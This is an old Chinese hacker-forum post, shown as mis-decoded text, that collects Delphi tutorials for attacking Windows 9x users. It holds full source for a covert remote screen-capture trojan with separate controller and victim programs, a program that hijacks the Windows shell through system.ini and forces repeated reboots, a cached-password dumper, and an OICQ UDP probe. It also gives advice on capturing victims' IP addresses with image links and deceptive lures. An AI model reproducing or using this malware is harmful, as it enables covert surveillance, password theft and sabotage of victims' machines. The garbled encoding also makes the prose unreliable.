·¢ÐÅÈË: jinqiao (³¤Ò¹ÂþÂþ¡¤ÎÞÐÄ˯Ãß), ÐÅÇø: BorlandDev
±ê Ìâ: DELPHI±à³ÌÓëºÚ¿Í¼¼Êõ(from www.21road.com)
·¢ÐÅÕ¾: ¹þ¹¤´ó×϶¡Ïã (2000Äê10ÔÂ31ÈÕ20:59:26 ÐÇÆÚ¶þ), Õ¾ÄÚÐżþ
//from www.21road.com
//×£lofeÔçÈÕ»Ö¸´½¡¿µ»
DELPHI±à³ÌÓëºÚ¿Í¼¼Êõ
¡ù ×·²¶µÄOICQ̽²â¼¼Êõ
·ëÖ¾ºê
ʵ¼ÊÉÏÄ¿Ç°ËùÓеÄOICQ̽²â·½·¨¶¼Ò»Ñù£¬·¢ËÍÒ»¸öOICQÏûÏ¢¸ø¶Ô·½£¬Æ¾½èOICQ
µÄ·µ»ØÐÅÏ¢À´Åж϶Է½µÄOICQºÅÂ룬¾ßÌåµÄDELPHIʵÏÖÈçÏ£º
NMUDP1ÊÇICS¿Ø¼þ°üµÄUDP¿Ø¼þ¡£
NMUDP1.ReportLevel := Status_Basic;
NMUDP1.RemoteHost := edit1.Text;
NMUDP1.RemotePort := 4000;
UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f
+FormatDateTime('yyyy-mm-dd',now)
+#$1f
+FormatDateTime('hh:mm:ss',now)
+#$1f
+ 'ÄãÕýÔÚ±»Ä³Î»ÅóÓѲéѯ¡£ËûʹÓÃÁË×·²¶Õâ¸ö¹¤¾ßÈí¼þ(http://www.zhuibu.
com/)½øÐÐ̽²â£¬´ËOICQºÅ
ÂëÒѾ±»·´À¡¸ø¶Ô·½¡£'
+ 'ÐÅÏ¢ËùÌáʾµÄOICQºÅÂëΪÐé¼ÙºÅÂ룬µ«¿ÉÒÔ¼´Ê±»Ø¸´¡£' + #$03;
if OicqCheck.Checked then begin
for SendUdpNum:=1 to 10 do begin
MyStream := TMemoryStream.Create;
try
MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr));
NMUDP1.SendStream(MyStream);
finally
MyStream.Free;
end;
end;
end;
===================================================================
¡ù Ô¶³ÌÆÁĻץȡ,дһ¸öľÂí³ÌÐò±Ø±¸µÄ¼¼ÇÉ
Ì´¸ïÇÚ
ľÂíµÄÒ»¸öºÜÖØÒªµÄ¹¦ÄܾÍÊÇÔ¶³Ì¼àÊÓÆÁÄ»£¬ÏÂÃæµÄÎÄÕ½²ÊöÁËÔõÑùÀûÓÃUDPÐÒé
À´ÊµÏÖ£¬¶ø²»ÊÇÎÒÃÇ
ͨ³£Óõ½µÄtcp/ipÐÒ飬ºÜÓÐÌØÉ«£¬ÖµµÃһѧ¡£
Ò»¡¢ÈíÓ²¼þÒªÇó¡£
Windows95/98¶ÔµÈÍø£¬ÓÃÀ´¼àÊӵļÆËã»ú£¨ÒÔϼò³ÆÖ÷¿Ø»ú£©ºÍ±»¼àÊӵļÆËã»ú£¨
ÒÔϼò³ÆÊÜ¿Ø»ú£©¶¼
±ØÐë×°ÓÐTCP/IP ÐÒ飬²¢ÕýÈ·ÅäÖá£ÈçûÓÐÍøÂ磬Ҳ¿ÉÒÔÔÚһ̨¼ÆËã»úÉϽøÐе÷
ÊÔ¡£
¶þ¡¢ÊµÏÖ·½·¨¡£
±àÖÆÁ½¸öÓ¦ÓóÌÐò£¬Ò»¸öΪVClient.exe£¬×°ÔÚÊÜ¿Ø»úÉÏ£¬ÁíÒ»¸öΪVServer.exe£¬
×°ÔÚÖ÷¿Ø»úÉÏ¡£
VServer.exeÖ¸¶¨Òª¼àÊÓµÄÊÜ¿Ø»úµÄIPµØÖ·ºÍ½«ÒªÔÚÊÜ¿Ø»úÆÁÄ»ÉÏץȡÇøÓòµÄ´óС
ºÍλÖ㬲¢·¢³öÆÁÄ»
ץȡָÁî¸øVClient.exe£¬VClient.exeµÃµ½Ö¸Áîºó£¬ÔÚÊÜ¿Ø»úÆÁÄ»ÉÏÑ¡È¡Ö¸¶¨ÇøÓò
£¬Éú³ÉÊý¾ÝÁ÷£¬½«
Æä·¢»ØÖ÷¿Ø»ú£¬²¢ÔÚÖ÷¿Ø»úÉÏÏÔʾ³öץȡÇøÓòµÄBMPͼÏó¡£ÓÉÒÔÉϹý³Ì¿ÉÒÔ¿´³ö£¬
¸Ã·½·¨µÄ¹Ø¼üÓжþ£º
Ò»ÊÇÈçºÎÔÚÊÜ¿Ø»úÉϽøÐÐÆÁĻץȡ£¬¶þÊÇÈçºÎͨ¹ýTCP/IPÐÒéÔÚÁ½Ì¨¼ÆËã»úÖд«Êä
Êý¾Ý¡£
UDP(User Datagram Protocol£¬ÒâΪÓû§±¨ÎÄÐÒé)ÊÇInternetÉϹ㷺²ÉÓõÄͨÐÅ
ÐÒéÖ®Ò»¡£ÓëTCPÐÒé
²»Í¬£¬ËüÊÇÒ»ÖÖ·ÇÁ¬½ÓµÄ´«ÊäÐÒ飬ûÓÐÈ·ÈÏ»úÖÆ£¬¿É¿¿ÐÔ²»ÈçTCP£¬µ«ËüµÄЧÂÊ
È´±ÈTCP¸ß£¬ÓÃÓÚÔ¶³Ì
ÆÁÄ»¼àÊÓ»¹ÊDZȽÏÊʺϵġ£Í¬Ê±£¬UDP¿Ø¼þ²»Çø·Ö·þÎñÆ÷¶ËºÍ¿Í»§¶Ë£¬Ö»Çø·Ö·¢ËÍ
¶ËºÍ½ÓÊնˣ¬±à³ÌÉÏ
½ÏΪ¼òµ¥£¬¹ÊÑ¡ÓÃUDPÐÒ飬ʹÓÃDelphi 4.0ÌṩµÄTNMUDP¿Ø¼þ¡£
Èý¡¢´´½¨ÑÝʾ³ÌÐò¡£
µÚÒ»²½£¬±àÖÆVClient.exeÎļþ¡£Ð½¨Delphi¹¤³Ì£¬½«Ä¬ÈÏ´°ÌåµÄNameÊôÐÔÉèΪ¡°
Client¡±¡£¼ÓÈëTNMUDP
¿Ø¼þ£¬NameÊôÐÔÉèΪ¡°CUDP¡±£»LocalPortÊôÐÔÉèΪ¡°1111¡±£¬ÈÿؼþCUDP¼àÊÓÊÜ
¿Ø»úµÄ1111¶Ë¿Ú£¬µ±ÓÐ
Êý¾Ý·¢Ë͵½¸Ã¿Úʱ£¬´¥·¢¿Ø¼þCUDPµÄOnDataReceivedʼþ£»RemotePortÊôÐÔÉèΪ¡°
2222¡±£¬µ±¿Ø¼þCUDP·¢
ËÍÊý¾Ýʱ£¬½«Êý¾Ý·¢µ½Ö÷¿Ø»úµÄ2222¿Ú¡£
ÔÚimplementationºóÃæ¼ÓÈë±äÁ¿¶¨Òå
const BufSize=2048;{ ·¢ËÍÿһ±ÊÊý¾ÝµÄ»º³åÇø´óС }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ ·¢ËÍÿһ±ÊÊý¾ÝºóÊ£ÓàµÄ×Ö½ÚÊý }
ΪClientµÄOnCreateʼþÌí¼Ó´úÂ룺
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
ΪClientµÄOnDestroyʼþÌí¼Ó´úÂ룺
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
Ϊ¿Ø¼þCUDPµÄOnDataReceivedʼþÌí¼Ó´úÂ룺
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ ¶ÁÈ¡¿ØÖÆÂë }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { ¿ØÖÆÂëÇ°4λΪ¡°show¡±±íʾÖ÷¿Ø»ú·¢³öÁË×¥ÆÁÖ¸Áî }
if BmpStream.Size=0 then { ûÓÐÊý¾Ý¿É·¢£¬±ØÐë½ØÆÁÉú³ÉÊý¾Ý }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
½ØÈ¡ÆÁÄ» }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ Çå¿ÕÁ÷ }
CUDP.RemoteHost:=FromIP; { FromIPΪÖ÷¿Ø»úIPµØÖ· }
CUDP.SendBuffer(Buf,SendSize); { ½«Êý¾Ý·¢µ½Ö÷¿Ø»úµÄ2222¿Ú }
end;
end;
ÆäÖÐScreenCapÊÇ×Ô¶¨Ò庯Êý£¬½ØÈ¡ÆÁĻָ¶¨ÇøÓò£¬
´úÂëÈçÏ£º
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
´æΪ¡°C:\VClient\ClnUnit.pas¡±ºÍ¡°C:\VClient\VClient.dpr¡±£¬
²¢±àÒë¡£
µÚ¶þ²½£¬±àÖÆVServer.exeÎļþ¡£Ð½¨Delphi¹¤³Ì£¬½«´°ÌåµÄNameÊôÐÔÉèΪ¡°
Server¡±¡£¼ÓÈëTNMUDP¿Ø¼þ£¬
NameÊôÐÔÉèΪ¡°SUDP¡±£»LocalPortÊôÐÔÉèΪ¡°2222¡±£¬ÈÿؼþSUDP¼àÊÓÖ÷¿Ø»úµÄ
2222¶Ë¿Ú£¬µ±ÓÐÊý¾Ý·¢
Ë͵½¸Ã¿Úʱ£¬´¥·¢¿Ø¼þSUDPµÄOnDataReceivedʼþ£»RemotePortÊôÐÔÉèΪ¡°1111¡±
£¬µ±¿Ø¼þSUDP·¢ËÍÊý¾Ý
ʱ£¬½«Êý¾Ý·¢µ½ÊÜ¿Ø»úµÄ1111¿Ú¡£¼ÓÈë¿Ø¼þImage1£¬AlignÊôÐÔÉèΪ¡°alClient¡±
£»¼ÓÈë¿Ø¼þButton1£¬
CaptionÊôÐÔÉèΪ¡°½ØÆÁ¡±£»¼ÓÈë¿Ø¼þLabel1£¬CaptionÊôÐÔÉèΪ¡°×ó£ºÉÏ£ºÓÒ£ºÏÂ
¡±£»¼ÓÈë¿Ø¼þEdit1£¬
TextÊôÐÔÉèΪ¡°0:0:100:100¡±£»¼ÓÈë¿Ø¼þLabel2£¬CaptionÊôÐÔÉèΪ¡°ÊÜ¿Ø»úIPµØ
Ö·¡±£»¼ÓÈë¿Ø¼þEdit2£¬
TextÊôÐÔÉèΪ¡°127.0.0.1¡±£»
ÔÚimplementationºóÃæ¼ÓÈë±äÁ¿¶¨Òå
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
ΪServerµÄOnCreateʼþÌí¼Ó´úÂ룺
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
ΪClientµÄOnDestroyʼþÌí¼Ó´úÂ룺
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
Ϊ¿Ø¼þButton1µÄOnClickʼþÌí¼Ó´úÂ룺
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
Ϊ¿Ø¼þSUDPµÄOnDataReceivedʼþÌí¼Ó´úÂ룺
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { Êý¾ÝÒѶÁÍê }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
´æΪ¡°C:\VServer\SvrUnit.pas¡±ºÍ
¡°C:\VServer\VServer.dpr¡±£¬²¢±àÒë¡£
---- ËÄ¡¢²âÊÔ¡£
1¡¢±¾µØ»ú²âÊÔ£ºÔÚ±¾µØ»úͬʱÔËÐÐVserver.exeºÍVClient.exe£¬ÀûÓóÌÐòµÄĬÈÏ
ÉèÖ㬼´¿ÉʵÏÖ½ØÆÁ¡£
²é¿´¡°¿ØÖÆÃæ°å¡±-¡°ÍøÂ硱-¡°TCP/IP¡±-¡°IPµØÖ·¡±£¬½«³ÌÐòµÄ¡°¿Í»§IPµØÖ·¡±
ÉèΪ¸ÃµØÖ· £¬Í¬ÑùÕý
³£ÔËÐС£
2¡¢Ô¶³Ì²âÊÔ£ºÑ¡Ò»Ì¨ÊÜ¿Ø»ú£¬ÔËÐÐVClient.exe£»Áíѡһ̨Ö÷¿Ø»ú£¬ÔËÐÐ
VServer.exe£¬½«¡°ÊÜ¿Ø»úIP
µØÖ·¡±¼´Edit2µÄÄÚÈÝÉèΪÊÜ¿Ø»úµÄIPµØÖ·£¬¡°½ØÆÁ¡±¼´¿É¡£ÒÔÉϼòÒª½éÉÜÁËÔ¶³Ì
ÆÁĻץȡµÄʵÏÖ·½·¨£¬
ÖÁÓÚÔÚÖ÷¿Ø»úÉÏÒ»ÆÁͬʱ¼àÊÓ¶à¸öÊÜ¿Ø»ú£¬¶ÁÕß¿É×ÔÐÐÍêÉÆ¡£ÒÔÉϳÌÐò£¬ÔÚ
Windows98¶ÔµÈÍø¡¢Delphi
4.0ϵ÷ÊÔͨ¹ý
=====================================================================
¡ù ÀûÓÃÍâ¿ÇµÄÑýÖ®ÎÇ
Ò»¸ö¼òµ¥¶øÇÒ´Ö²ÚµÄÎÞÁĵijÌÐò£¬Æô¶¯Ê±¼ÓÔØ¡£
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes,inifiles, Graphics, Controls,
Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons;
type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Timer2: TTimer;
Label2: TLabel;
SpeedButton1: TSpeedButton;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Timer2Timer(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
var
sysini:tinifile;//¶¨Ò»¸öini£¬×¼±¸¶¯ÊÖÊõ
j,i:integer;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
exitwindowsex(ewx_reboot,0);//µ¹Êýʱ¼äµ½£¬¹Ø»úÂÞ£¡
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hregion,wndHandle : THandle;
wndClass : array[0..50] of Char;
k:string;
begin
hregion:=createellipticrgn(14,200,350,14);//Ï뻸ö²»¹æÔò´°Ìå
setwindowrgn(handle,hregion,true);
StrPCopy(@wndClass[0], 'Shell_TrayWnd');
wndHandle := FindWindow(@wndClass[0], nil);
ShowWindow(wndHandle, SW_HIDE);
i:=60;
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
systemparametersinfo(97,1,nil,0);//ÆÁ±ÎÈȼü
timer1.Enabled:=false;
sysini:=Tinifile.Create('system.ini');
k:=sysini.ReadString('boot','shell',k);//ÕâÀï×¼±¸×ö³ÉÆô¶¯20´Î»Ö¸´£¬
if (k='explorer') or (k='explorer.exe') then
begin
sysini.WriteInteger('mci','mcicount',20);
sysini.WriteString('boot','shell',application.ExeName);//ÕâÀïÓÃ×Ô¼ºÌæ»»
µôÁËshell
end
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
systemparametersinfo(97,0,nil,0);//È¡ÏûÆÁ±Î
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
i:=i-1;
label2.Caption:=inttostr(i);
if i=1 then
begin
timer2.Enabled:=false;
timer1.Enabled:=true;
j:=sysini.ReadInteger('mci','mcicount',j);
j:=j-1;
if j=1 then
begin
sysini.WriteString('boot','shell','explorer.exe');//µ±Æô¶¯ÂúÁË20´Î£¬»Ö¸´
shell
end;
end;
end;
procedure TForm1.SpeedButton1Click(Sender: TObject);//µ÷ÊÔÓõÄ
begin
timer1.Enabled:=false;
timer2.Enabled:=false;
application.Terminate;
systemparametersinfo(97,1,nil,0);
end;
end.
»¹´æÔÚ¸öÎÊÌ⣬Õâ¸ö³ÌÐòÀïÃæµÄ´úÂëûÓÐÆÁ±ÎµôAlt+F4,¿ÉÒÔ¸ü»»³É±ðµÄ°ì·¨¡£
=================================================================
¡ù дһ¸öÀàPwlViewÃÜÂë²é¿´µÄ³ÌÐò
ÒÔÏÂÊÇPWLVIEWµÄÔ´´úÂ룺
unit Unit1;
interface
uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;
var
Form1: TForm1;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
WinPassword: TWinPassword;
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool;
stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.
ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);
Form1.ListBox.Items.Add(Password);
Result := True;
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(GetDesktopWindow, 'open', 'http://wlhyy.126.com', nil, nil,
0);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.',
'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add('No passwords found...');
end;
end.
======================================================================
¡ù ÂÒµ¯IP²éѯ
ǧÄêÀÏÑý
Õâ¸öÍøÂçÉÏ×ȱµÄ¾ÍÊǻҿͣ¬»Ò¿ÍÃǵĻ°ÌâÓÀԶͣÁôÔÚÔõôÔõô²éÕÒIPÉÏÃ棬Ϊ
ʲôÁË£¿ÒòΪÓÐÁËIP,
¶ÙʱÌì¿Õ¶¼Ã÷ÀÊÁË£¬IGMPÕ¨µ¯..×·²¶..ICQÕ¨µ¯..ľÂíÊ®°Ë°ãÎäÒÕ¶ÙʱÓÐÁËÓÃÎäÖ®
µØ¡£»Ò¿ÍÃÇÒ§À´½ÀÈ¥µÄ
Ëùν֮¼¼Êõ£¬ÆäÖÐËùν֮²éIPµÄ¼¼Êõ£¬¸ù±¾Ì¸²»ÉÏÊÇʲô¼¼Êõ£¬ÆäʵºÜ¼òµ¥£¬¾ÍÕâ
ô¼¸¸ö»¨Ñù...ÕâÀïÂý
ÂýÄóöÀ´É¹É¹Ì«Ñô..
ÖÁÓÚ¹ÅÀϵĴÓdosÏÂÃænetstratÕâÀï¾Í²»Ì¸ÁË£¬ÒòΪÔçÓÐÈË×ö³ÉÁËwindows°æ±¾µÄ¡£
¾ÍÄ¿Ç°×î¼òµ¥×îÈÝÒ×
ÉÏÊֵķ½·¨ºÍÔÀídz̸һ¶þ£¬µ±È»£¬Èç¹ûÄãÊÇÔÚµçÐÅÊý¾Ý¾Ö¹¤×÷£¬Õâ¸ö¾ÍÃâ¿´ÁË£¬
È¥·þÎñÆ÷¾Í¸ã¶¨...
Ò»¸öÎÞÁĵĻҿÍ×îϲ»¶×öʲô£¿Õâ¸ö»¹ÓÃ˵£¬Õ¨ÈËߣ¬¼«¶ËÎÞÁĵĻҿÍϲ»¶×öʲô
£¿ÕÒÒ»¶ÎIP°¤¸öÕ¨£¬
Ò»¸ö¼òµ¥µÄɨÃèÆ÷¾ÍÐÐÁË£¬¿´¿´ÄÇЩIPÄÜpingͨ£¬ÉÔ΢ÓеãÄ¿±êµÄ»°£¬ÓÃÓÃ×·²¶µÄ
Ô¹âËÑË÷£¬ËüµÄÔÀí
ÊÇÀûÓÃnetbios°¤¸öɨÃè³öÒ»¸öÍø¶ÎÉÏÿ¸ö»î¶¯IPµÄ¼ÆËã»úÃû£¬·Ç³£ºÃÓã¬ÎҺͼ¸
¸öÅóÓÑÔÚÍøÂçÉÏ×Ô½¨Èý
½ÇÖÝ·þÎñÆ÷ÍæÈý½Ç£¬ËûÃÇÔõôÕÒµ½ÎÒµÄIPÄØ£¿¾ÍÓÃÕâ¸ö£¬Ò²²»ÓÃÎÒ°¤¸ö֪ͨÁË£¬ÎÒ
µÄ¼ÆËã»úÃûÊÇwlhsoft
,ËûÃÇһɨÃè¾ÍÖªµÀÁË£¬ºÜʵÓðɣ¿ÓÃÀ´¿ìËÙ׼ȷ²éÕÒÒ»¸ö³¤ÆÚÑøÂíµÄ»úÆ÷Ò²Ìرð
·½±ã¡£
µ±Ò»¸öºÀÆøÍòÕɵĻҿÍÔÚÁÄÌìµÄʱºò£¬ÔÚÅÝMMµÄʱºòÓöµ½Á˶ÔÊÖÔõô°ì£¿µ±È»ÊÇÒ»
»÷±ØɱÁË£¬Èç¹ûÊÇÔÚ
oicqÉÏÃæ¾Í·½±ã¶àÁË£¬´ËÀàÕ¨µ¯Èí¼þ¶àÈçţ룬oicqÊÇ»ùÓÚUDPÐÒéµÄÁÄÌ칤¾ß£¬
ÐÒéµÄÌØÐÔ×¢¶¨ÁË°²È«
ÐÔÔ¶Ô¶¸ú²»ÉÏ»ùÓÚTCP/IPÐÒéµÄ¹¤¾ß£¬oicqµÄÿÌõÐÅÏ¢¶¼°üº¬ÁËÄãµÄIPµØÖ·£¬Ö»Ðè
Òª°ÑÊý¾Ý±¨½Ø»ñÏÂÀ´·Ö
Îö¾ÍÖªµÀÁË£¬×öµ½³ÌÐòÀïÃæ¾Í³ÉÁ˻ҿÍÃdz£ÓõÄoicqIP²éѯµÄ¹¤¾ß£¬Ïêϸ×ö·¨ÁíÎÄ
ÔÙ̸¡£ÕâÊÇÀûÓÃÈí¼þµÄ
ȱÏݲéIP¡£ÎÞÐè»Ò¿Í¶¯ÄÔ£¬Ò»Çи㶨¡£
Èç¹ûÊÇÔÚÁÄÌìÊÒÀïÃæÔõô°ì£¿Ò»¸öwebÁÄÌìÊÒÈç¹ûÔÚÀïÃæûÓÐȨÏÞ£¬¿´²»µ½IPÊǺÜ
Í´¿àµÄ£¬Èç¹ûÕâ¸öÁÄÌì
ÊÒÖ§³Öhtml,¾ÍºÃ°ìÁË£¬ÎÒÔÚdelphi±à³ÌÀïÃæµÄÌù½éÉÜÁËÔõô×öÒ»¸öIPÁÔÈË£¬¾ÍÓÃ
Ëü£¬ÓÃÄã×Ô¼ºÖÆ×÷µÄÈí
¼þÀ´×¥IP,ÔÀí²»Óöà˵ÁË£¬¿´¿´ÄÇƪÌù×ӾͺÜÃ÷°×ÁË¡£Ö»ÒªÄãºÍ¶Ô·½µÄ»úÆ÷Óиö
Ö±½ÓµÄ·ÃÎʾͿÉÒÔÁË£¬
ÓÃhtml´úÂëÈöԷ½µÄä¯ÀÀÆ÷Ö±½Ó·ÃÎÊ×Ô¼ºµÄ»úÆ÷£¬Ä¬ÈÏ80¶Ë¿Ú£¬·¢Ò»¸öͼ»òÕßÒ»¸ö
ÒôÀÖ£¬(img src=http
://Äã±¾»úIP/xx.jpg)¼´¿É£¬ÕâÖÖ·½·¨ºÜ¹ÅÀϵģ¬ºÜ¶àÁÄÌìÊÒÒѾ²»ÄÜʹÓÃhtmlÁË
£¬µ«ÊÇÓÖÔõôÄѵõ½¼¼
Êõ¸ß³¬µÄ»Ò¿ÍÄØ£¿ºÙºÙ£¬±äͨһÏ£¬Óû¨ÑÔÇÉÓï°É£¬ÆÛƶԷ½À´·ÃÎÊÄãµÄIP,¡®ÎÒ
ÕÒµ½Ò»¸öºÃÍøվŶ£¡£¡
£¡'´ËÀàµÄ»°ºÜÈÝÒ×°É£¿ÎªÁ˸üÏñÒ»µã£¬¸É´àÈ¥Ãâ·ÑÉêÇëÒ»¸ö yahoo.126.comµÄÓò
ÃûÖ±½ÓÖ¸ÏòÄãµÄIP,ºÙºÙ
£¬µ±È»¶Ô·½Á¬½ÓÄ㣬ËûµÄä¯ÀÀÆ÷»á¿´µ½'webµØÖ·ÒѾÕÒµ½¡¯,µ«ÊÇÎÞÂÛÈçºÎÒ²´ò²»
¿ªÁË¡£ÕâÖÖ·½·¨ÊÇÍò½ðÓÍ
£¬µ½´¦¶¼¿ÉÒÔĨ£¬Ö»ÒªÄãÄÜÑÔÉÆÆ£¬Ò»Á³ÎÞ¿ÉÌôÌÞµÄÕæ³Ï£¬¾¯ÌèÐÔÔٸߵÄÈ˶¼»á±»
Äãץס.»¹Óм¸ÖÖС·½·¨
£¬±ÈÈçÀûÓ÷ÃÎÊÈÕÖ¾£¬ÁÄÌìÊÒµÄbug°Ñmessage.cgi´ò¿ªÁËÖ®ÀàµÄ£¬¾õµÃû¶à´óÒâ˼
£¬¾ÍÉÏÃæµÄ¼¸¸öС°ì·¨
×ãÒÔÂú×ãÒ»¸ö»Ò¿ÍµÄÈÕ³£ÐèÒªÁË¡£
===================================================================
¡ù ÔõÑùÓÃdelphiÖÆ×÷Ò»¸öIPhunter(¶À¹Â½£¿ÍµÄIPÁÔÈË£©
ǧÄêÀÏÑý
ºÜ¶àÅóÓÑÓùý¶À¹Â½£¿ÍдµÄIPhunter°É£¬ËüÊÇÀûÓÃÔÚÁÄÌìÊÒ·¢Í¼Æ¬µÄÔÀí²éÕÒ¶Ô·½
IP£¬Æäʵ²»½ö½öÊÇÁÄÌì
ÊÒ£¬Ö»ÒªÓÐÈ˶ÔÄãµÄ»úÆ÷´æÔÚ·ÃÎÊ£¬¾ÍÄܹ»×¥µ½ËûµÄIP,ÉõÖÁÖ÷»úÃû£¬ÔÚÀÏÑýµÄÈí
¼þÁÔ¹È˵±ÖÐÒ²ÀûÓÃÁËÕâ
¸öÔÀí£¬ÔÚdelphiÖÐÊǺÜÈÝÒ×ʵÏֵģ¬ÏÖÔÚÎÒÃÇÓÃdelphiÀ´×öÒ»¸öºÍIPhunterһģ
Ò»ÑùµÄÈí¼þ¡£
ÓÐÈË˵ÏÖÔڵijÌÐòÔ±³ÉÁË×é×°¹¤ÈË£¬ÆäʵºÜÓеÀÀí£¬ÀûÓÿؼþÄ£¿é+ÉÙÁ¿´úÂë¾Í¿É
ÒÔʵÏÖ,delphi 5.0Ìṩ
Á˷ḻµÄinternet¿Ø¼þ£¬ÀûÓÃTCP/IP ¿Í»§¶Ë-·þÎñ¶Ë¾Í¿ÉÒÔ½â¾öÎÊÌâ¡£¹Ø¼üµÄ¿Ø¼þ
ÊÇServerSocket,ÎÒÃÇÄ£
·ÂIPhunterµÄ½çÃæÓÃÒ»¸öbutton1£¨°´Å¥£©,Ò»¸öcombobox1£¨ÓÃÓÚÏÔʾ£©£¬ÕâÈý¸ö
×î»ù±¾µÄ¿Ø¼þ·ÅÖõ½¿Õ°×
´°ÌåÉϾͿÉÒÔ¿ªÊ¼Ð´´úÂëÁË ¡£
